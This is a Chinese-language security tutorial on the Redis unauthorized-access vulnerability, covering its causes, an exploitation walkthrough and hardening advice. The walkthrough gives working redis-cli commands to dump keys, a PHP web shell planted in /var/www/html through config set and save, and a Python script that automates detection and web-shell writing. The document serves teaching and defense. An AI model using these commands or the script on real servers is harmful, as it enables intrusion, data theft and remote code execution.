Redis未授权访问漏洞利用与防御
概述
Redis作为一款高性能的开源内存数据库,广泛应用于缓存、消息代理和分布式系统中。其简单易用和极致的性能使之成为众多大型互联网应用的核心组件。然而,Redis的默认配置缺乏访问控制,导致未授权访问漏洞时有发生。攻击者借助这一漏洞可绕过认证,直接执行任意Redis命令,严重时甚至可实现远程代码执行(RCE),对业务安全构成极大威胁。
本文旨在系统剖析Redis未授权访问的成因、攻击原理,演示经典漏洞利用方式,并结合实际运维环境提出可靠的防御措施,为具备一定Redis与网络安全基础的技术人员提供深入且实用的指导。
原理分析
1. Redis认证机制
Redis的认证主要依赖requirepass配置项,客户端连接后若Redis配置了密码,必须执行AUTH命令验证密码才能执行后续命令。否则,Redis会拒绝除AUTH、PING等少数命令外的所有操作。
然而,默认Redis配置中,常见未设置密码,或因配置错误未启用认证,导致服务端对连接客户端完全信任,进而造成未授权访问。
2. 网络暴露风险
Redis默认监听6379端口,若直接暴露于互联网,攻击者可通过端口扫描发现服务存在。由于Redis协议简单且未经加密,攻击者可直接向Redis发送命令请求,获取敏感信息甚至篡改数据。
3. 利用路径
利用途径主要包括:
数据篡改与信息泄露
直接读取敏感缓存数据,修改缓存内容,甚至删除关键数据导致业务异常。写入恶意Payload实现RCE
利用Redis的持久化机制,攻击者可将恶意脚本写入Redis的持久化文件(如RDB或AOF),进而在Redis重启载入数据时触发脚本执行,或者结合web服务器漏洞实现远程代码执行。搭建跳板/代理
将Redis作为跳板,实现对内网环境的横向渗透。
实战步骤
以下示范环境假设Redis未启用密码,且监听地址可被攻击者访问。
1. 检测Redis服务
利用redis-cli或者其他工具确认目标主机Redis端口开放:
redis-cli -h target_ip -p 6379 ping
正常应返回PONG。
2. 探测是否存在认证
执行一系列普通命令,测试是否被拒绝:
redis-cli -h target_ip -p 6379 info
若直接返回实例信息,无需密码,意味着未授权访问风险存在。
3. 读取敏感信息
利用keys与get命令查看缓存中的信息:
redis-cli -h target_ip -p 6379 keys '*'
遍历有效键:
redis-cli -h target_ip -p 6379 get some_key
攻击者可能借此窃取用户名、密码、令牌等敏感数据。
4. 利用恶意Payload实现远程代码执行
利用Redis的持久化机制写入Web服务器可执行路径下的PHP或其他脚本。例如,假设目标Web服务器可读取/var/www/html目录,攻击者尝试写入shell:
4.1 准备恶意代码
简单PHP Web Shell示例:
<?php system($_GET['cmd']); ?>
4.2 交互式写入payload(利用set、config set、save)
# 1. 设置必要配置信息
redis-cli -h target_ip -p 6379 config set dir /var/www/html/
redis-cli -h target_ip -p 6379 config set dbfilename shell.php
# 2. 写入payload
redis-cli -h target_ip -p 6379 set shell "<?php system(\$_GET['cmd']); ?>"
# 3. 保存文件
redis-cli -h target_ip -p 6379 save
完成后,访问http://target_ip/shell.php?cmd=id即可执行命令。
注意:以上操作需满足:
- Redis允许客户端修改
dir和dbfilename配置(即无config命令访问限制) - Redis与Web目录在同一主机且互信
- 服务器未开启保护机制(如只读文件系统、SELinux权限管控等)
代码示例
这里提供一个自动化检测与利用脚本示例(Python, 基于redis库):
import redis
def check_unauth_access(ip, port=6379):
try:
r = redis.Redis(host=ip, port=port, socket_connect_timeout=5)
pong = r.ping()
if pong:
print(f"[+] Redis at {ip}:{port} is accessible without authentication.")
info = r.info()
print("[*] Redis Info:", info.get("redis_version"))
return r
except redis.exceptions.AuthenticationError:
print(f"[-] Authentication required at {ip}:{port}.")
except Exception as e:
print(f"[-] Connection error: {e}")
return None
def write_webshell(r, web_dir, filename="shell.php"):
if not r:
return
try:
r.config_set('dir', web_dir)
r.config_set('dbfilename', filename)
payload = '<?php system($_GET["cmd"]); ?>'
r.set('shell', payload)
r.save()
print(f"[+] Webshell written to {web_dir}/{filename}. Verify http://target_ip/{filename}")
except Exception as e:
print(f"[-] Failed to write webshell: {e}")
if __name__ == "__main__":
target_ip = "target_ip_here"
web_path = "/var/www/html"
redis_conn = check_unauth_access(target_ip)
if redis_conn:
write_webshell(redis_conn, web_path)
防御建议
针对Redis未授权访问漏洞,企业级和运维人员应采取多维度防护措施:
1. 启用认证机制
- 通过
redis.conf配置requirepass强制密码认证。 - 使用强随机密码,避免默认或简单密码。
2. 限制网络访问
绑定本地回环地址,避免直接暴露于公网。配置示例:
bind 127.0.0.1利用防火墙策略限制访问来源,仅允许可信IP连接6379端口。
3. 禁用危险命令
通过
rename-command隐藏或禁用CONFIG,FLUSHALL,DEBUG等危险命令,减少攻击面:rename-command CONFIG "" rename-command FLUSHALL ""
4. 使用访问控制列表(ACL)
- Redis最新版本支持ACL,能指定用户权限粒度,建议尝试启用并细化访问权限。
5. 配置持久化路径及权限
确保Redis持久化目录不可被Web服务器写入,分离存储减少风险。
操作系统中合理分配文件和目录权限,最小化写权限。
6. 加强监控与审计
监控网络连接与异常请求。
定期审计Redis命令使用情况。
结合HIDS/NIDS报警潜在异常操作。
7. 及时更新升级
- 关注Redis官方安全公告,及时应用安全补丁及配置优化建议。
总结
Redis未授权访问漏洞是典型的配置疏忽导致的安全问题,却可能带来极为严重的业务风险。通过系统理解其认证机制、网络暴露面以及持久化策略,结合实战演练能够有效掌握攻击与防御手段。
最终,强认证、最小暴露、命令限制、访问细化、权限隔离和监控审计是构筑Redis安全坚固防线的关键。安全从配置开始,只有严谨细致维护,才能确保Redis这一核心组件的安全稳健运行。
作者介绍
本文作者为资深网络安全专家,专注数据库安全与渗透测试,有丰富的漏洞挖掘与安全防护实战经验,致力于推动企业安全能力建设,提升技术社区安全意识。